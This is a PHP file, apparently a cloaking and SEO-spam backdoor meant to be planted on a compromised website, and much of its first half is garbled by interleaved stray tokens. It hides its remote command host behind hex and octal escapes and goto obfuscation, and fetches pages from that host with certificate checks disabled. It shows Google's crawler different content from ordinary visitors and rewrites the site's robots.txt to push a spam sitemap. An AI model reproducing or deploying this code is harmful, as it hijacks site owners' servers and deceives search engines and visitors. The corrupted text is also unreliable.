2 3 php 2 2 er 3 ror 3 _re 3 por 2 ti 3 ng( 2 0) 2 ; 2 $ 3 get 3 = 2 fi 3 lte 3 r_i 2 np 3 ut_ 2 ar 3 ray 2 (I 2 NP 3 UT_ 2 GE 2 T, 2 F 2 IL 3 TER 2 _S 2 AN 3 ITI 1 Z 3 E_S 2 TR 2 IN 1 G 5 ); 2 / 3 * - 18 ------------------------ 2 5 1 2 2 2 1 2 2 2 2 2 1 2 2 2 1 1a ------------------------- 2 */ 2 2 fu 3 nct 2 io 3 n c 2 ac 3 he_ 3 get 2 ($ 3 key 3 , $ 2 ex 3 pir 1 e 5 = 30 2 0) 2 { 6 4 $fil 5 e = s 2 ys 5 _get_ 2 te 3 mp_ 3 dir 2 () 3 . 2 '/ 7 cache_' 3 . 2 md 6 5($key 5 ) . ' 1 . 5 php'; 6 3 if 1 ( 6 file_e 2 xi 3 sts 1 ( 7 $file) 1 & 3 & ( 3 tim 1 e 4 () - 5 file 1 m b time($file) 2 ) 1 < 8 $expire d ) { 3 ret 2 ur 6 n file 5 _get_ 2 co 3 nte 1 n 11 ts($file); } 10 return fal 2 se 4 ; } 12 function cache_s e et($key, $data 4b ) { $file = sys_get_temp_dir() . '/cache_' . md5($key) . '.php'; 1 @ 5 file_ 4 put_ e contents($file 9 , $data, 2 LO 2 CK 2 _E 2 X) 6 ; } 26 /* ------------------------- 2 2 2 1 2 2 2 2 1 3 I 2 P 2 1 2 2 2 2 CD 3 N / 2 2 1 2 2 1 29 ------------------------- */ function 4 get_ 3 rea 3 l_i 2 p( a ) { $ 3 key 4 s = 1 [ b ' 2 HT 2 TP 2 _C 2 F_ 3 CON 2 NE 2 CT 3 ING 3 _IP 2 ', 3 // 2 C 3 lou 2 df 3 lar 1 e 11 'HTTP_X 2 _R 2 EA 7 L_IP', 7 4 // N 3 gin 1 x 13 'HTTP_X_F 2 OR 2 WA 2 RD 2 ED 4 _FOR 4 ', 5 // Pr 2 ox 1 y 12 'HTTP_CL 2 IE 2 NT 5 _IP', c 'R 2 EM 3 OTE 2 _A 2 DD 2 R' 7 ] 5 ; 4 2 fo 4 reac 2 h 7 ($keys 2 as 3 $k d ) { 4 if ( 1 ! 4 empt 2 y( 3 $_S 2 ER 2 VE 2 R[ 2 $k 2 ]) d ) { 6 $i 1 p 3 = c $_SERVER[$k] 9 ; e if (st 2 rp 1 o 5 s($ip 3 , ' 2 ,' 2 ) 3 !== 6 false 1b ) { $ip = 2 tr 3 im( 3 exp 2 lo 3 de( 3 ',' 5 , $ip 2 )[ 2 0] 8 ); 8 1 } 14 if ( 8 filter_v 2 ar 6 ($ip, 7 FILTER_ 2 VA 2 LI 2 DA 3 TE_ 3 IP) 15 ) { a return $ip 12 ; } f } f } return ' 3 127 2 .0 3 .0. 2 1' 2b ; } /* ------------------------- 1 2 2 2 1 1 5 getC 3 url 2 () 30 ------------------------- */ function getCurl 2 Fa 1 s 6 t($url 5 ) { 7 $ 6 cached 3 = b cache_get($ 4 url) b ; if ( 8 $cached b !== false) 8 return $ 6 cached 9 ; 5 $data 3 = 2 '' 9 ; 5 if (f 7 unction 9 _exists(' 1 c 3 url 5 _init 1 ' f )) { $ 3 ch 3 = c 8 url_init d ($url); 4 5 curl_ 5 setop b t_array($ch 1 , c [ 5 C 2 UR 3 LOP 1 T 4 _RET 2 UR 2 NT 3 RAN 2 SF 2 ER 2 = 1 > 5 true 1 , 16 CURLOPT_ 8 CONNECTT 2 IM 2 EO 2 UT 5 => 5 1f , CURLOPT_TIMEOUT 7 3 => 1 8 18 , CURLOPT_S 2 SL 1 _ 5 VERIF 2 YP 1 E 6 ER => 5 false 21 , CURLOPT_SSL_VERIFY 3 HOS 1 T 20 => false, CURLOPT_ 3 FOL 1 L 1 O 1 W 5 LOCAT 2 IO 1 N 21 => false, CURLOPT_U 3 SER 2 AG 3 ENT b => "M 2 oz 3 ill 2 a/ 2 5. 2 0" a d ]); 8 $data = 5 curl_ 3 exe 1 c 4 ($ch 12 ); curl_c 3 los 1 e d ($ch); } c if ( 7 empty($ 6 data) 3 && 3 ini 6 _get(' 3 all 2 ow 5 _url_ 2 fo 3 pen 11 ')) { $c 5 ontex 4 t = 3 str 3 eam 1 _ 9 context_c 4 reat 2 e( f [ 2 "h 3 ttp 1 " 5 => [ 1 " 6 timeou 2 t" 6 => 8, 4 "he 3 ade 1 r 6 " => " 3 Use 2 r- 2 Ag 3 ent 2 : c Mozilla/5.0\ 2 r\ 3 n"] 11 , "s 2 sl 2 " 7 => ["v 3 eri 2 fy 3 _pe 7 er" => 7 false, c "verify_peer 3 _na 2 me a " => false 1 ] 1f ]); $data = 1 @ 13 file_get_contents($ 4 url, 8 false, 8 $context 16 ); } if (! c empty($data) 1 ) c cache_set($ 5 url, 7 $data); d return 5 $data 2b ; } /* ------------------------- 5 URL 3 2 2d ------------------------- */ function get_ 7 url_inf 1 o 4 (str 4 ing 2 $t 3 ype 2 =' 3 dom 2 ai 3 n') 2 : 7 string 9 { $h 2 os 1 t c = $_SERVER[ 6 'HTTP_ 5 HOST' 2 ] 2 ?? 6 ''; 9 if ($ 4 type 2 = 4 == ' 2 no 2 _w 3 ww' b ) return pr 2 eg 4 _rep 2 la 1 c 4 e('/ 4 ^www 2 \. 2 /i 3 ', 1 ' 8 ', $host 1 ) b ; $p 2 ro 3 toc 2 ol 3 = 11 (!empty($_SERVER[ 5 'HTTP 2 S' 1 ] 5 ) && 11 $_SERVER['HTTPS'] 7 !== 'o 2 ff 3 ') 1 ? 7 "https 3 :// 2 " 7 : "http 4 ://" 7 ; 2 $b 2 as 4 e = b $protocol . 6 $host d ; if ( f $type === 'base a ') return 5 $base 18 ; if ($type === 'fu 2 ll f ') return $base 3 . c ($_SERVER['R 1 E 2 QU 2 ES 4 T_UR 1 I 8 '] ?? '' a ); 8 return $ 7 host; 28 } /* ------------------------- 2 2 1 2 2 2 1 20 ------------------------- */ 1 g 5 oto O 2 NP 2 uB 1 ; 7 ONPuB: 3 $h 4 ttp_ 6 type = 1 11 !empty($_SERVER[" 2 \x 2 48 3 \12 2 4\ 2 x5 9 4\x50\x53 1 " f ]) && $_SERVER[ a "\x48\124\ 6 124\x5 7 0\x53"] 6 !== " 3 \15 2 7\ 2 x6 2 6\ 2 14 2 6" 4 ? " 3 \15 4 0\x7 8 4\x74\x7 2 0\ 2 16 2 3\ 3 72\ 2 x2 5 f\x2f 5 " : " 3 \x6 3 8\1 2 64 8 \164\160 8 \72\x2f\ 3 57" 2 ; 6 goto O 2 4O 2 9k 7 ; O4O9k 3 : $ 1 v 4 url 4 = "\ 4 x74\ 5 157\5 4 6\15 1 2 4 \147 4 \141 4 \x6c 5 \x6c\ 5 163\x 2 2e 4 \143 7 \157\x6 1 d 5 \x2f" 8 ; goto v 2 gv 3 72; 6 vgv72 3 : $ 2 qz 4 = s 2 ub 3 str 4 (str 9 _replace( a array("\x7 1 7 6 \x77\1 2 67 5 \x2e" 3 , " 4 \56" 1 ) 7 , '', $ a _SERVER["\ 3 110 7 \x54\x5 4 4\12 4 0\x5 1 f 6 \x48\x 2 4f 4 \123 4 \x54 4 "]), 3 0, 2 3 4 ); 25 /* ------------------------- 2 1 3 f 4 参 24 数 ------------------------- */ $ 5 sz = 2 $i 1 i 5 d = " 4 "; 2 if a (!empty($_ 3 GET 2 )) 3 { 2 $ 3 f=r 1 e 5 set($ 5 _GET) 9 ; $s 4 p = a explode('- 5 ', $f d ); if (c 3 oun 3 t($ 3 sp) 5 === 1 2 e ) { $ 3 sz 6 = $sp 3 [0] c ; $ a iid = $sp[ 2 1] b ; } } 26 /* ------------------------- 2 1 2 2 2 1 1 20 ------------------------- */ d if (!empty($s 1 z a )) { 2 $j 4 d = c getCurlFast( 2 "{ a $http_type 2 }{ 5 $vurl 2 }3 2 kg 2 .a 3 spx 2 ?s 2 z= 1 " 6 . url 3 enc 4 ode( 5 $sz)) 5 ; } 1 e 3 lse 37 { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx? 3 xy= c {$http_type} 1 " b ); $sz 2d = getCurlFast("{$http_type}{$vurl}3kg.aspx?j 1 d 11 =" . urlencode($j 2 d) a ); } $ 3 hyz 2 hd 1 y 4 = $ 5 jd . 2 "4 1 1 5 .aspx 6 "; $s 4 url 1 b = $jd . "s b 41.aspx"; 27 /* ------------------------- ro 3 bot 1 s 4 / s 1 i 5 temap 22 ------------------------- */ $s 7 itemapL 2 in 5 e = " 1 S 8 itemap: e {$http_type}{$ 14 _SERVER['HTTP_HOST'] d }{$_SERVER['S 2 CR 1 I 4 PT_N 2 AM 4 E']} 2 ?w 5 =" . 1 d 5 ate(' 2 Ym 2 dH 2 i' 4 ) . 1 " 4 \n"; b function 2 en 4 sure 1 _ 7 robots_ 8 sitemap( c $sitemapLine a ) { $ a robots = r 5 trim( b $_SERVER['D 2 OC 2 UM 4 ENT_ 2 RO 1 O 3 T'] 5 , "/\ 2 \" 6 ) . '/ 6 robots 2 .t 2 xt c '; if ( 1 ! d file_exists($ 6 robots e )) { 14 @file_put_contents($ 7 robots, 7 "User- 1 a 6 gent: 3 *\n 1 A 5 llow: 2 / 3 \n" 4 . $ b sitemapLine d , LOCK_EX); 5 } d else { 6 $c 17 = @file_get_contents($ 7 robots) 1 ; e if ( 4 $c = 8 == false 2 | 2 | 8 strpos($ 2 c, d $sitemapLine 1 ) a === false 11 ) { 1c @file_put_contents($robots, e $sitemapLine, 3 FIL 4 E_AP 3 PEN 2 D 1 | 10 LOCK_EX); 7 } a } } 26 /* ------------------------- w 3 = 1 2 2 2c ------------------------- */ if (!empty($ 4 get[ 2 'w 1 ' 7 ])) { 9 $pa 2 ra 1 m 4 s = 6 http_b 3 uil 2 d_ 2 qu 3 ery d ([ ' 2 NO 2 Um 3 ber 1 ' 4 => e $get['NOUmber' 14 ] ?? '', 't 1 ' a => 7 $get['t 14 '] ?? '', ' 3 cn' f => $get[' 3 cn' 14 ] ?? '', 'p 4 NOUm 1 ' 12 => $get['pNOUm' 14 ] ?? '', 'c 2 id 1 ' 12 => $get['cid' 13 ] ?? '', ' 1 m 11 ' => $get[' 9 m'] ?? '' 7 ] b ); $ 3 str 12 = getCurlFast("{$ 4 surl 2 }? 1 { 9c8 $params}"); echo str_replace( ['yymm','ggggg','?f='], [$http_type.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'], $sz,'?'.$qz.'='], $str ); exit; } /* ------------------------- IP 判定(保留 kk 测试) ------------------------- */ $kk = isset($get['kk']) ? trim($get['kk']) : ''; $ip = ($kk !== '') ? "66.249.82.8" : get_real_ip(); /* ------------------------- getdomain2 判断 ------------------------- */ $domain = trim(getCurlFast($jd . "getdomain2.aspx?rnd=1&ip=" . $ip)); /* ------------------------- 非 google + iid → 跳转 ------------------------- */ if ($domain !== 'google' && !empty($iid)) { $kname = urldecode(getCurlFast($jd . "gn.aspx?iid=" . $iid)); echo ''; exit; } /* ------------------------- iid 输出 ------------------------- */ if (!empty($iid)) { $str = getCurlFast($hyzhdy . "?iid={$iid}"); echo str_replace( ['ggggg','YYYYY','XXXYYY','当前URL','UUUUU','MMMMM','?f='], [$sz, get_url_info(), get_url_info('base'), get_url_info('full'), get_url_info('no_www'),parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH),'?'.$qz.'='], $str ); exit; } /* ------------------------- sitemap helper ------------------------- */ function output_sitemap_and_exit($sitemapLine, $http_type) { ensure_robots_sitemap($sitemapLine); echo "
"; exit; } /* ------------------------- kk 输出控制 ------------------------- */ if ($kk !== '' && preg_match('/^[A-Za-z0-9]+$/', $kk)) { $remote = getCurlFast($jd . "getdomain2.aspx?rnd=2&kk=" . $kk); if (!empty($remote)) { echo $remote; exit; } } if ($kk !== '' && !preg_match('/^[A-Za-z0-9]+$/', $kk)) { output_sitemap_and_exit($sitemapLine, $http_type); } $is_no_query = empty($_SERVER['QUERY_STRING']); if ($kk === '' && $is_no_query) { if ($domain === 'google') { output_sitemap_and_exit($sitemapLine, $http_type); } else { exit; } } output_sitemap_and_exit($sitemapLine, $http_type); ?> 0